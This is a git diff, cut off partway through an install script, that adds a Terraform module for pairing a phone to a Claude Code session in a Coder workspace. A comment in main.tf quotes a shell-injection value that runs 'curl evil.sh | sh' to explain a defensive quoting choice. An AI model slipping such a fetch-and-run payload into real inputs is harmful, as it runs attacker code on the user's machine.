diff --git a/.icons/happy.svg b/.icons/happy.svg new file mode 100644 index 000000000..35e1505dd --- /dev/null +++ b/.icons/happy.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/registry/gojnimer6553/.images/avatar.png b/registry/gojnimer6553/.images/avatar.png new file mode 100644 index 000000000..8d6f3fb8f Binary files /dev/null and b/registry/gojnimer6553/.images/avatar.png differ diff --git a/registry/gojnimer6553/README.md b/registry/gojnimer6553/README.md new file mode 100644 index 000000000..8d1993823 --- /dev/null +++ b/registry/gojnimer6553/README.md @@ -0,0 +1,11 @@ +--- +display_name: "Guilherme Gojlevicius" +bio: "Building Coder Registry modules for AI coding agent tooling." +avatar: "./.images/avatar.png" +github: "gojnimer6553" +status: "community" +--- + +# Guilherme Gojlevicius + +Building Coder Registry modules for AI coding agent tooling. diff --git a/registry/gojnimer6553/modules/happy/README.md b/registry/gojnimer6553/modules/happy/README.md new file mode 100644 index 000000000..a3641dfb2 --- /dev/null +++ b/registry/gojnimer6553/modules/happy/README.md @@ -0,0 +1,97 @@ +--- +display_name: Happy +description: Run Happy (slopus/happy) in a Coder workspace and pair your phone to Claude Code with a QR code or direct link. +icon: ../../../../.icons/happy.svg +verified: false +tags: [ai, agent, mobile, claude, coding-agent] +--- + +# Happy + +Runs [Happy](https://github.com/slopus/happy) in a Coder workspace and gives you a single app tile that shows a QR code (and a direct link) for pairing the [Happy mobile/web app](https://happy.engineering) to the Claude Code session running in this workspace, end-to-end encrypted. + +Happy wraps `claude` with `happy claude` so you can check on, and take control of, your coding agent from your phone — including push notifications when it needs permission or hits an error. + +```tf +module "happy" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/happy/coder" + version = "0.0.1" + agent_id = coder_agent.main.id +} +``` + +> [!IMPORTANT] +> Install and authenticate [Claude Code](https://claude.com/product/claude-code) in the workspace image before using Happy (`claude auth login`) — Happy wraps the `claude` CLI, it doesn't replace it. Happy also needs **tmux** (see [Notes](#notes) — installed automatically in most workspaces, but not guaranteed). + +## How pairing works + +Happy has no non-interactive pairing mode — the CLI always renders an interactive prompt (choose mobile or web) and, for the mobile flow, a QR code plus a `happy://terminal?...` deep link in the terminal. There's also no way to ask an already-paired machine for a fresh QR without a full re-pair (`happy auth login --force`), which unpairs every previously-linked device. + +So this module embraces that: **every time you open the Happy app tile, it mints a brand new pairing link.** Concretely, on each request the module's pairing page: + +1. Kills whatever Happy session was running before. +2. Runs `happy auth login --force` (clears any existing pairing) followed by `happy claude`, inside a `tmux` session so Happy gets the real terminal it needs. +3. Drives the interactive prompt itself (auto-selects "Mobile App"). +4. Captures the resulting `happy://terminal?...` link and renders it as an actual scannable QR code, plus the link as plain text you can copy — right there on the page, no redirect needed. + +Once you scan it (or open the link on your phone), `happy claude` launches for real and keeps running in that `tmux` session — reopening the app tile again later mints a fresh link and disconnects that device, so only do it when you actually want to (re-)pair. + +Because of that "every click re-pairs" behavior, keep `share` at its default (`"owner"`) unless you specifically want other people to be able to pair a device to your agent — anyone who can open this app can take it over. + +## Examples + +### Run Claude Code in a specific project directory + +```tf +module "happy" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/happy/coder" + version = "0.0.1" + agent_id = coder_agent.main.id + workdir = "/home/coder/project" +} +``` + +### Pin the installed version + +```tf +module "happy" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/happy/coder" + version = "0.0.1" + agent_id = coder_agent.main.id + install_version = "1.2.0" +} +``` + +### Use a package manager other than npm + +```tf +module "happy" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/happy/coder" + version = "0.0.1" + agent_id = coder_agent.main.id + package_manager = "bun" +} +``` + +### Skip installation and use a pre-baked image + +```tf +module "happy" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/happy/coder" + version = "0.0.1" + agent_id = coder_agent.main.id + install = false + install_prefix = "/opt/happy" +} +``` + +## Notes + +- **Requires `tmux`.** Happy's pairing prompt and the wrapped `claude` session both need a real terminal (Ink UI, raw-mode stdin) — there's no headless/non-interactive path, so this module drives it through a real pseudo-terminal via `tmux`. If `tmux` isn't already on `PATH`, the install script installs it automatically via the workspace's system package manager (`apt-get`/`dnf`/`yum`/`apk`/`pacman`) when running as root or with passwordless `sudo`; otherwise it fails with a clear message. For reproducible builds (or if the workspace has neither root nor passwordless `sudo`), add it to your Dockerfile/image instead (e.g. `apt-get install -y tmux`). +- Pairing requires outbound network access to Happy's hosted service (`api.cluster-fluster.com` / `app.happy.engineering` by default) — there's no offline pairing path. +- Happy has no `engines` requirement pinned in its `package.json`; its docs recommend Node.js >= 20. If `node` is not already on `PATH`, the install script bootstraps a pinned Node.js runtime under this module's data directory automatically; override the version with `node_version` if needed. diff --git a/registry/gojnimer6553/modules/happy/main.test.ts b/registry/gojnimer6553/modules/happy/main.test.ts new file mode 100644 index 000000000..db70ed709 --- /dev/null +++ b/registry/gojnimer6553/modules/happy/main.test.ts @@ -0,0 +1,424 @@ +import { describe, expect, it, setDefaultTimeout } from "bun:test"; +import { + execContainer, + readFileContainer, + removeContainer, + runContainer, + runTerraformApply, + runTerraformInit, + testRequiredVariables, + writeCoder, + writeFileContainer, + type TerraformState, +} from "~test"; + +// coder-utils orchestrates this module's scripts and produces multiple +// coder_script resources (install, start). Collect them by their +// coder-utils-generated display_name so each can be executed in run order. +interface ModuleScripts { + install: string; + start: string; +} + +const collectScripts = (state: TerraformState): ModuleScripts => { + const byDisplayName: Record = {}; + for (const resource of state.resources) { + if (resource.type !== "coder_script") continue; + for (const instance of resource.instances) { + const attrs = instance.attributes as Record; + const displayName = attrs.display_name as string | undefined; + const script = attrs.script as string | undefined; + if (displayName && script) { + byDisplayName[displayName] = script; + } + } + } + const install = byDisplayName["Happy: Install Script"]; + const start = byDisplayName["Happy: Start Script"]; + if (!install) { + throw new Error("install script not found in terraform state"); + } + if (!start) { + throw new Error("start script not found in terraform state"); + } + return { install, start }; +}; + +const HAPPY_BIN_PATH = + "/root/.coder-modules/gojnimer6553/happy/npm/node_modules/.bin/happy"; + +const installFakeHappyBinary = async (id: string, script: string) => { + await execContainer(id, [ + "mkdir", + "-p", + "/root/.coder-modules/gojnimer6553/happy/npm/node_modules/.bin", + ]); + await writeFileContainer(id, HAPPY_BIN_PATH, script); + await execContainer(id, ["chmod", "755", HAPPY_BIN_PATH]); +}; + +// Issues one HTTP GET from inside the container (no curl dependency: the +// test image only guarantees node) and reports status/body. +const httpGetInContainer = async ( + id: string, + port: number, + path: string, + timeoutMs = 30000, +): Promise<{ status: number; body: string }> => { + const script = [ + 'const http = require("http");', + `const req = http.get({ host: "127.0.0.1", port: ${port}, path: ${JSON.stringify(path)}, timeout: ${timeoutMs} }, (res) => {`, + ' let body = "";', + ' res.on("data", (c) => (body += c));', + ' res.on("end", () => {', + ' console.log("STATUS:" + res.statusCode);', + ' console.log("BODY_START");', + " console.log(body);", + " process.exit(0);", + " });", + "});", + 'req.on("timeout", () => { console.log("STATUS:0"); process.exit(0); });', + 'req.on("error", (e) => { console.log("ERROR:" + e.message); process.exit(0); });', + ].join("\n"); + const output = await execContainer(id, ["node", "-e", script]); + const status = Number(/STATUS:(\d+)/.exec(output.stdout)?.[1] ?? "0"); + const bodyIdx = output.stdout.indexOf("BODY_START\n"); + const body = + bodyIdx === -1 ? "" : output.stdout.slice(bodyIdx + "BODY_START\n".length); + return { status, body }; +}; + +const waitForHealthy = async ( + id: string, + port: number, + timeoutMs = 30000, +): Promise => { + const deadline = Date.now() + timeoutMs; + while (Date.now() < deadline) { + const { status, body } = await httpGetInContainer( + id, + port, + "/healthz", + 3000, + ); + if (status === 200 && body.trim() === "ok") return; + await new Promise((resolve) => setTimeout(resolve, 500)); + } + throw new Error(`Timed out waiting for port ${port}'s /healthz to report ok`); +}; + +// Fake happy binary: mimics the real CLI's interactive auth prompt closely +// enough to exercise this module's tmux-automation (send "1", capture a +// happy://terminal?... link) without a real npm install or network call. +// Each invocation embeds a unique token so tests can prove a fresh link is +// minted on every open. +const FAKE_HAPPY_BINARY = [ + "#!/bin/bash", + 'if [ "$1" = "auth" ]; then', + ' echo "How would you like to authenticate?"', + ' echo ""', + ' echo "\xe2\x80\xba 1. Mobile App"', + ' echo " 2. Web Browser"', + " read -r -n1 choice", + ' echo ""', + ' if [ "$choice" = "1" ]; then', + ' echo "Mobile Authentication"', + ' token="FAKE_$$_$(date +%s%N)"', + ' echo "happy://terminal?$token"', + ' echo "Waiting for authentication.."', + " sleep 3600", + " else", + " exit 1", + " fi", + 'elif [ "$1" = "claude" ]; then', + ' echo "claude-started"', + " sleep 3600", + "fi", +].join("\n"); + +// Mimics the prompt, accepts the "1" keypress, then crashes instead of +// producing a pairing link. Since the wrapped shell command is +// "happy_bin auth login --force && happy_bin claude", a non-zero exit here +// short-circuits the "&&" and the tmux session's pane process (and with it, +// by default, the session itself) exits shortly after -- exercising the +// "session died before producing a link" failure path distinctly from a +// plain prompt-format-mismatch timeout. +const FAKE_HAPPY_BINARY_CRASHES_AFTER_PROMPT = [ + "#!/bin/bash", + 'if [ "$1" = "auth" ]; then', + ' echo "How would you like to authenticate?"', + ' echo ""', + ' echo "\xe2\x80\xba 1. Mobile App"', + ' echo " 2. Web Browser"', + " read -r -n1 choice", + ' echo ""', + ' echo "boom: simulated crash"', + " exit 1", + "fi", +].join("\n"); + +setDefaultTimeout(240 * 1000); + +describe("happy", async () => { + await runTerraformInit(import.meta.dir); + + testRequiredVariables(import.meta.dir, { + agent_id: "foo", + }); + + it("skips installation when install=false", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("alpine/curl"); + try { + await writeCoder(id, "#!/bin/sh\nexit 0\n"); + await execContainer(id, ["sh", "-c", "apk add --no-cache bash tmux"]); + + const output = await execContainer(id, ["bash", "-c", install]); + expect(output.exitCode).toBe(0); + expect(output.stdout).toContain( + "⏭️ install=false; skipping Happy installation.", + ); + + // The start script should fail fast: no happy binary was ever installed. + const startOutput = await execContainer(id, ["bash", "-c", start]); + expect(startOutput.exitCode).not.toBe(0); + expect(startOutput.stderr + startOutput.stdout).toContain( + "happy binary not found", + ); + } finally { + await removeContainer(id); + } + }); + + it("auto-installs tmux via the system package manager when missing", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + }); + const { install } = collectScripts(state); + + const id = await runContainer("alpine/curl"); + try { + await writeCoder(id, "#!/bin/sh\nexit 0\n"); + // Deliberately no tmux here -- running as root (this image's default + // user), so no sudo is needed for the install script's apk fallback. + await execContainer(id, ["sh", "-c", "apk add --no-cache bash"]); + + const output = await execContainer(id, ["bash", "-c", install]); + expect(output.exitCode).toBe(0); + expect(output.stdout).toContain("tmux not found on PATH; attempting"); + expect(output.stdout).toContain("tmux installed automatically"); + + const tmuxCheck = await execContainer(id, [ + "bash", + "-c", + "command -v tmux", + ]); + expect(tmuxCheck.exitCode).toBe(0); + } finally { + await removeContainer(id); + } + }); + + it("fails install with a clear error when tmux is missing and neither root nor sudo is available", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + }); + const { install } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + // A real (non-root, sudo-less) user with a proper writable $HOME -- + // "nobody"'s $HOME is the unwritable "/nonexistent", which breaks + // coder-utils' own log-directory setup before this module's install + // script even runs. The install script should detect it has no way + // to gain privileges and fail fast, rather than let apt-get itself + // fail with a confusing permissions error. + await execContainer(id, ["useradd", "-m", "testuser"]); + const output = await execContainer( + id, + ["bash", "-c", install], + ["-u", "testuser"], + ); + expect(output.exitCode).not.toBe(0); + expect(output.stdout).toContain("neither root nor passwordless sudo"); + } finally { + await removeContainer(id); + } + }); + + it("mints a fresh pairing link on every open and leaves /healthz side-effect-free", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + port: 4120, + tmux_session: "happy-test-1", + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + await execContainer(id, [ + "bash", + "-c", + "apt-get update && apt-get install -y --no-install-recommends tmux", + ]); + await execContainer(id, ["bash", "-c", install]); + await installFakeHappyBinary(id, FAKE_HAPPY_BINARY); + // install=false skips the real "happy" install (we use the fake + // binary above), but the pairing server still needs "qrcode" -- the + // real install script would normally install it alongside happy. + await execContainer(id, [ + "bash", + "-c", + "cd /root/.coder-modules/gojnimer6553/happy/npm && npm install --no-audit --no-fund qrcode@1.5.4", + ]); + + const output = await execContainer(id, ["bash", "-c", start]); + expect(output.exitCode).toBe(0); + + await waitForHealthy(id, 4120); + + // /healthz must never trigger the pairing cycle: hit it several times + // and confirm no tmux session gets created as a side effect. + for (let i = 0; i < 5; i++) { + await httpGetInContainer(id, 4120, "/healthz"); + } + const sessionsBeforeOpen = await execContainer(id, [ + "bash", + "-c", + "tmux list-sessions 2>&1 || true", + ]); + expect(sessionsBeforeOpen.stdout).not.toContain("happy-test-1"); + + const first = await httpGetInContainer(id, 4120, "/", 30000); + expect(first.status).toBe(200); + const firstMatch = /happy:\/\/terminal\?[A-Za-z0-9_]+/.exec(first.body); + expect(firstMatch).not.toBeNull(); + expect(first.body).toContain("data:image/png;base64,"); + + const second = await httpGetInContainer(id, 4120, "/", 30000); + expect(second.status).toBe(200); + const secondMatch = /happy:\/\/terminal\?[A-Za-z0-9_]+/.exec(second.body); + if (!secondMatch) { + console.log("SECOND BODY:\n" + second.body); + const pairingLog = await readFileContainer( + id, + "/root/.coder-modules/gojnimer6553/happy/logs/pairing.log", + ).catch((e) => "(failed to read pairing.log: " + e + ")"); + console.log("PAIRING LOG:\n" + pairingLog); + } + expect(secondMatch).not.toBeNull(); + + // A different link each time -- proves the second open genuinely + // killed the previous session and drove a brand new pairing cycle, + // not just re-served a cached result. + expect(secondMatch![0]).not.toBe(firstMatch![0]); + } finally { + await removeContainer(id); + } + }, 60000); + + it("surfaces a clear error quickly when happy's tmux session dies before pairing completes", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + port: 4122, + tmux_session: "happy-test-3", + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + await execContainer(id, [ + "bash", + "-c", + "apt-get update && apt-get install -y --no-install-recommends tmux", + ]); + await execContainer(id, ["bash", "-c", install]); + await installFakeHappyBinary(id, FAKE_HAPPY_BINARY_CRASHES_AFTER_PROMPT); + await execContainer(id, [ + "bash", + "-c", + "cd /root/.coder-modules/gojnimer6553/happy/npm && npm install --no-audit --no-fund qrcode@1.5.4", + ]); + + const output = await execContainer(id, ["bash", "-c", start]); + expect(output.exitCode).toBe(0); + + await waitForHealthy(id, 4122); + + const started = Date.now(); + const page = await httpGetInContainer(id, 4122, "/", 30000); + const elapsedMs = Date.now() - started; + + expect(page.status).toBe(200); + expect(page.body).toContain("exited before it finished pairing"); + // The fake binary crashes almost immediately after the "1" keypress -- + // this should fail fast via the has-session check, not wait out the + // full 20s pairing-url timeout. + expect(elapsedMs).toBeLessThan(15000); + } finally { + await removeContainer(id); + } + }, 60000); + + it("installs Happy via npm and serves a real pairing QR/link", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + port: 4121, + tmux_session: "happy-test-2", + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + await execContainer(id, [ + "bash", + "-c", + "apt-get update && apt-get install -y --no-install-recommends tmux", + ]); + + const installOutput = await execContainer(id, ["bash", "-c", install]); + if (installOutput.exitCode !== 0) { + console.log("STDOUT:\n" + installOutput.stdout); + console.log("STDERR:\n" + installOutput.stderr); + } + expect(installOutput.exitCode).toBe(0); + expect(installOutput.stdout).toContain("🥳 Happy has been installed to"); + + const startOutput = await execContainer(id, ["bash", "-c", start]); + expect(startOutput.exitCode).toBe(0); + expect(startOutput.stdout).toContain("Happy pairing server started"); + + await waitForHealthy(id, 4121); + + // Real network call to Happy's hosted auth API happens here (there is + // no offline pairing path) -- we only need the resulting link/QR, not + // an actual phone to complete pairing, so this doesn't block on that. + const page = await httpGetInContainer(id, 4121, "/", 45000); + if (page.status !== 200) { + const log = await readFileContainer( + id, + "/root/.coder-modules/gojnimer6553/happy/logs/pairing.log", + ).catch(() => "(no pairing log)"); + console.log("PAIRING LOG:\n" + log); + } + expect(page.status).toBe(200); + expect(page.body).toMatch(/happy:\/\/terminal\?[A-Za-z0-9_-]+/); + expect(page.body).toContain("data:image/png;base64,"); + } finally { + await removeContainer(id); + } + }, 240000); +}); diff --git a/registry/gojnimer6553/modules/happy/main.tf b/registry/gojnimer6553/modules/happy/main.tf new file mode 100644 index 000000000..dd50d9833 --- /dev/null +++ b/registry/gojnimer6553/modules/happy/main.tf @@ -0,0 +1,237 @@ +terraform { + required_version = ">= 1.9" + + required_providers { + coder = { + source = "coder/coder" + version = ">= 2.13" + } + } +} + +variable "agent_id" { + description = "The ID of a Coder agent." + type = string +} + +variable "icon" { + description = "The icon to use for the app." + type = string + default = "/icon/happy.svg" +} + +variable "slug" { + description = "The slug of the coder_app resource." + type = string + default = "happy" +} + +variable "display_name" { + description = "The display name for the Happy application and its install/start scripts." + type = string + default = "Happy" +} + +variable "port" { + description = "The port to run the Happy pairing page on." + type = number + default = 4020 +} + +variable "workdir" { + description = "The directory `happy claude` runs in. Defaults to $HOME. The directory is created if it doesn't exist." + type = string + default = null +} + +variable "tmux_session" { + description = "Name of the tmux session Happy runs in. Change this only if it collides with another session name in the workspace." + type = string + default = "happy" +} + +variable "install" { + description = "Whether to install Happy. Set to false to run a pre-installed copy instead (see install_prefix)." + type = bool + default = true +} + +variable "install_version" { + description = "The npm version or dist-tag of the `happy` package to install." + type = string + default = "latest" +} + +variable "use_cached" { + description = "Skip installing when a copy already exists at install_prefix, instead of always reinstalling on start." + type = bool + default = false +} + +variable "package_manager" { + description = "Package manager used to install Happy. One of 'npm', 'pnpm', or 'bun'; must already be available on the agent." + type = string + default = "npm" + + validation { + condition = contains(["npm", "pnpm", "bun"], var.package_manager) + error_message = "The 'package_manager' variable must be one of: 'npm', 'pnpm', 'bun'." + } +} + +variable "registry_url" { + description = "The npm-compatible registry URL to install Happy from. Override this for private registries or mirrors." + type = string + default = "https://registry.npmjs.org" +} + +variable "node_version" { + description = "Node.js version to bootstrap into this module's data directory when no `node` is found on PATH. Only used as a fallback; ignored if node is already installed." + type = string + default = "22.14.0" +} + +variable "install_prefix" { + description = "Directory Happy is installed into (as a local npm/pnpm/bun package). Defaults to a path under this module's standard data directory so installs persist across workspace restarts." + type = string + default = null +} + +variable "share" { + description = "Determines visibility of the app. Must be one of 'owner', 'authenticated', or 'public'. Keep this at 'owner' unless you understand the consequences: whoever can open this app can pair a device and remotely control your coding agent." + type = string + default = "owner" + + validation { + condition = contains(["owner", "authenticated", "public"], var.share) + error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'." + } +} + +variable "subdomain" { + description = <<-EOT + Determines whether the app will be accessed via its own subdomain or whether it will be accessed via a path on Coder. + If wildcards have not been setup by the administrator then apps with "subdomain" set to true will not be accessible. + EOT + type = bool + default = true +} + +variable "open_in" { + description = <<-EOT + Determines where the app will be opened. Valid values are `"tab"` and `"slim-window"` (default). + `"tab"` opens in a new tab in the same browser window. + `"slim-window"` opens a new browser window without navigation controls. + EOT + type = string + default = "slim-window" + + validation { + condition = contains(["tab", "slim-window"], var.open_in) + error_message = "The 'open_in' variable must be one of: 'tab', 'slim-window'." + } +} + +variable "order" { + description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order)." + type = number + default = null +} + +variable "group" { + description = "The name of a group that this app belongs to." + type = string + default = null +} + +variable "pre_install_script" { + description = "Custom script to run before installing Happy. Can be used for dependency ordering between modules (e.g., waiting for git-clone to complete before Happy starts)." + type = string + default = null +} + +variable "post_install_script" { + description = "Custom script to run after installing Happy, before it starts." + type = string + default = null +} + +locals { + module_dir_name = ".coder-modules/gojnimer6553/happy" + module_directory = "$HOME/${local.module_dir_name}" + + # Kept as *overrides only* (empty string means "no override"), rather than + # pre-resolving the "$HOME"-based default here as a Terraform string: the + # scripts below need the literal "$HOME" in ARG_INSTALL_PREFIX/ARG_WORKDIR + # to expand at shell runtime, which requires embedding them in a + # double-quoted assignment -- but these values can also be arbitrary + # caller-supplied strings (install_prefix, workdir), and a double-quoted + # assignment lets a value like `foo"; curl evil.sh | sh #` break out and + # execute. Passing only the raw override (never attacker-influenced beyond + # being a path the caller chose) and letting the script build the "$HOME" + # default itself from a real, un-interpolated shell variable avoids that + # entirely. + install_prefix_override = var.install_prefix != null ? var.install_prefix : "" + workdir_override = var.workdir != null ? var.workdir : "" + + install_script = templatefile("${path.module}/scripts/install.sh.tftpl", { + ARG_INSTALL = tostring(var.install) + ARG_USE_CACHED = tostring(var.use_cached) + ARG_VERSION = var.install_version + ARG_PACKAGE_MANAGER = var.package_manager + ARG_REGISTRY_URL = trimsuffix(var.registry_url, "/") + ARG_NODE_VERSION = var.node_version + ARG_MODULE_DIR_NAME = local.module_dir_name + ARG_INSTALL_PREFIX_OVERRIDE = local.install_prefix_override + }) + + start_script = templatefile("${path.module}/scripts/start.sh.tftpl", { + ARG_PORT = tostring(var.port) + ARG_MODULE_DIRECTORY = local.module_directory + ARG_MODULE_DIR_NAME = local.module_dir_name + ARG_INSTALL_PREFIX_OVERRIDE = local.install_prefix_override + ARG_WORKDIR_OVERRIDE = local.workdir_override + ARG_TMUX_SESSION = var.tmux_session + }) +} + +module "coder_utils" { + source = "registry.coder.com/coder/coder-utils/coder" + version = "0.0.1" + + agent_id = var.agent_id + module_directory = local.module_directory + display_name_prefix = var.display_name + icon = var.icon + pre_install_script = var.pre_install_script + post_install_script = var.post_install_script + install_script = local.install_script + start_script = local.start_script +} + +resource "coder_app" "happy" { + agent_id = var.agent_id + slug = var.slug + display_name = var.display_name + url = "http://localhost:${var.port}" + icon = var.icon + subdomain = var.subdomain + share = var.share + order = var.order + group = var.group + open_in = var.open_in + + healthcheck { + url = "http://localhost:${var.port}/healthz" + interval = 5 + threshold = 6 + } +} + +# Pass-through of coder-utils script outputs so upstream modules can serialize +# their own coder_script resources behind this module's install pipeline +# using `coder exp sync want `. +output "scripts" { + description = "Ordered list of coder exp sync names for the coder_script resources this module actually creates, in run order (pre_install, install, post_install, start). Scripts that were not configured are absent from the list." + value = module.coder_utils.scripts +} diff --git a/registry/gojnimer6553/modules/happy/main.tftest.hcl b/registry/gojnimer6553/modules/happy/main.tftest.hcl new file mode 100644 index 000000000..d8f064348 --- /dev/null +++ b/registry/gojnimer6553/modules/happy/main.tftest.hcl @@ -0,0 +1,314 @@ +run "defaults_are_correct" { + command = plan + + variables { + agent_id = "test-agent" + } + + assert { + condition = var.port == 4020 + error_message = "Default port should be 4020" + } + + assert { + condition = var.install == true + error_message = "Happy installation should be enabled by default" + } + + assert { + condition = var.install_version == "latest" + error_message = "Default install_version should be 'latest'" + } + + assert { + condition = var.package_manager == "npm" + error_message = "Default package_manager should be 'npm'" + } + + assert { + condition = var.use_cached == false + error_message = "use_cached should be disabled by default" + } + + assert { + condition = var.share == "owner" + error_message = "Default share should be 'owner'" + } + + assert { + condition = var.subdomain == true + error_message = "subdomain should be enabled by default" + } + + assert { + condition = var.tmux_session == "happy" + error_message = "Default tmux_session should be 'happy'" + } + + assert { + condition = local.module_dir_name == ".coder-modules/gojnimer6553/happy" + error_message = "Module dir name should be '.coder-modules/gojnimer6553/happy'" + } + + assert { + condition = local.install_prefix_override == "" + error_message = "install_prefix_override should be empty by default (the script computes the $HOME-based default itself)" + } + + assert { + condition = local.workdir_override == "" + error_message = "workdir_override should be empty by default (the script defaults to $HOME itself)" + } + + assert { + condition = resource.coder_app.happy.url == "http://localhost:4020" + error_message = "App URL should point at localhost on the configured port" + } + + assert { + condition = resource.coder_app.happy.slug == "happy" + error_message = "Default slug should be 'happy'" + } + + assert { + condition = resource.coder_app.happy.share == "owner" + error_message = "Default share should be 'owner'" + } +} + +run "custom_port_configuration" { + command = apply + + variables { + agent_id = "test-agent" + port = 4021 + } + + assert { + condition = resource.coder_app.happy.url == "http://localhost:4021" + error_message = "App URL should use the configured port" + } + + assert { + condition = [for h in resource.coder_app.happy.healthcheck : h.url][0] == "http://localhost:4021/healthz" + error_message = "Healthcheck URL should use the configured port" + } +} + +run "custom_workdir_configuration" { + command = plan + + variables { + agent_id = "test-agent" + workdir = "/home/coder/project" + } + + assert { + condition = local.workdir_override == "/home/coder/project" + error_message = "Custom workdir should be forwarded as the override" + } +} + +run "custom_install_prefix_overrides_default" { + command = plan + + variables { + agent_id = "test-agent" + install_prefix = "/opt/happy" + } + + assert { + condition = local.install_prefix_override == "/opt/happy" + error_message = "Explicit install_prefix should be forwarded as the override" + } +} + +run "install_version_configuration" { + command = plan + + variables { + agent_id = "test-agent" + install_version = "1.2.0" + } + + assert { + condition = var.install_version == "1.2.0" + error_message = "install_version should be set correctly" + } +} + +run "invalid_package_manager_rejected" { + command = plan + + variables { + agent_id = "test-agent" + package_manager = "yarn" + } + + expect_failures = [ + var.package_manager, + ] +} + +run "invalid_share_rejected" { + command = plan + + variables { + agent_id = "test-agent" + share = "invalid" + } + + expect_failures = [ + var.share, + ] +} + +run "invalid_open_in_rejected" { + command = plan + + variables { + agent_id = "test-agent" + open_in = "invalid" + } + + expect_failures = [ + var.open_in, + ] +} + +run "custom_share_configuration" { + command = plan + + variables { + agent_id = "test-agent" + share = "public" + } + + assert { + condition = resource.coder_app.happy.share == "public" + error_message = "Custom share should override the default 'owner'" + } +} + +run "subdomain_disabled_configuration" { + command = plan + + variables { + agent_id = "test-agent" + subdomain = false + } + + assert { + condition = resource.coder_app.happy.subdomain == false + error_message = "subdomain should be disabled when specified" + } +} + +run "custom_display_and_slug" { + command = plan + + variables { + agent_id = "test-agent" + slug = "happy-cli" + display_name = "Happy" + icon = "/custom/icon.svg" + order = 5 + group = "AI Tools" + } + + assert { + condition = resource.coder_app.happy.slug == "happy-cli" + error_message = "Custom slug should be set" + } + + assert { + condition = resource.coder_app.happy.display_name == "Happy" + error_message = "Custom display_name should be set" + } + + assert { + condition = resource.coder_app.happy.icon == "/custom/icon.svg" + error_message = "Custom icon should be set" + } + + assert { + condition = resource.coder_app.happy.order == 5 + error_message = "Custom order should be set" + } + + assert { + condition = resource.coder_app.happy.group == "AI Tools" + error_message = "Custom group should be set" + } +} + +run "custom_scripts_configuration" { + command = plan + + variables { + agent_id = "test-agent" + pre_install_script = "#!/bin/bash\necho 'pre-install'" + post_install_script = "#!/bin/bash\necho 'post-install'" + } + + assert { + condition = var.pre_install_script != null + error_message = "Pre-install script should be set" + } + + assert { + condition = var.post_install_script != null + error_message = "Post-install script should be set" + } + + assert { + condition = can(regex("pre-install", var.pre_install_script)) + error_message = "Pre-install script should contain expected content" + } + + assert { + condition = can(regex("post-install", var.post_install_script)) + error_message = "Post-install script should contain expected content" + } +} + +run "install_disabled_configuration" { + command = plan + + variables { + agent_id = "test-agent" + install = false + } + + assert { + condition = var.install == false + error_message = "install should be disabled when specified" + } +} + +run "custom_tmux_session_configuration" { + command = plan + + variables { + agent_id = "test-agent" + tmux_session = "happy-custom" + } + + assert { + condition = var.tmux_session == "happy-custom" + error_message = "tmux_session should be set correctly" + } +} + +run "scripts_output_is_populated" { + command = plan + + variables { + agent_id = "test-agent" + } + + assert { + condition = length(output.scripts) > 0 + error_message = "scripts output should list at least the install and start scripts" + } +} diff --git a/registry/gojnimer6553/modules/happy/scripts/install.sh.tftpl b/registry/gojnimer6553/modules/happy/scripts/install.sh.tftpl new file mode 100644 index 000000000..f32828bc2 --- /dev/null +++ b/registry/gojnimer6553/modules/happy/scripts/install.sh.tftpl @@ -0,0 +1,187 @@ +#!/bin/bash + +set -euo pipefail + +BOLD='\033[0;1m' + +command_exists() { + command -v "$1" > /dev/null 2>&1 +} + +ARG_INSTALL='${ARG_INSTALL}' +ARG_USE_CACHED='${ARG_USE_CACHED}' +ARG_VERSION='${ARG_VERSION}' +ARG_PACKAGE_MANAGER='${ARG_PACKAGE_MANAGER}' +ARG_REGISTRY_URL='${ARG_REGISTRY_URL}' +ARG_NODE_VERSION='${ARG_NODE_VERSION}' +ARG_MODULE_DIR_NAME='${ARG_MODULE_DIR_NAME}' +# Raw override only ("" means "no override"); the "$HOME"-based default is +# built below from a real shell variable, not embedded as literal "$HOME" +# text inside a double-quoted assignment of caller-supplied content -- see +# the comment on install_prefix_override in main.tf for why that matters. +ARG_INSTALL_PREFIX_OVERRIDE='${ARG_INSTALL_PREFIX_OVERRIDE}' + +if [ -n "$${ARG_INSTALL_PREFIX_OVERRIDE}" ]; then + INSTALL_PREFIX="$${ARG_INSTALL_PREFIX_OVERRIDE}" +else + INSTALL_PREFIX="$HOME/$${ARG_MODULE_DIR_NAME}/npm" +fi + +echo "--------------------------------" +printf "ARG_INSTALL: %s\n" "$${ARG_INSTALL}" +printf "ARG_USE_CACHED: %s\n" "$${ARG_USE_CACHED}" +printf "ARG_VERSION: %s\n" "$${ARG_VERSION}" +printf "ARG_PACKAGE_MANAGER: %s\n" "$${ARG_PACKAGE_MANAGER}" +printf "ARG_REGISTRY_URL: %s\n" "$${ARG_REGISTRY_URL}" +printf "ARG_NODE_VERSION: %s\n" "$${ARG_NODE_VERSION}" +printf "INSTALL_PREFIX: %s\n" "$INSTALL_PREFIX" +echo "--------------------------------" + +# The pairing page 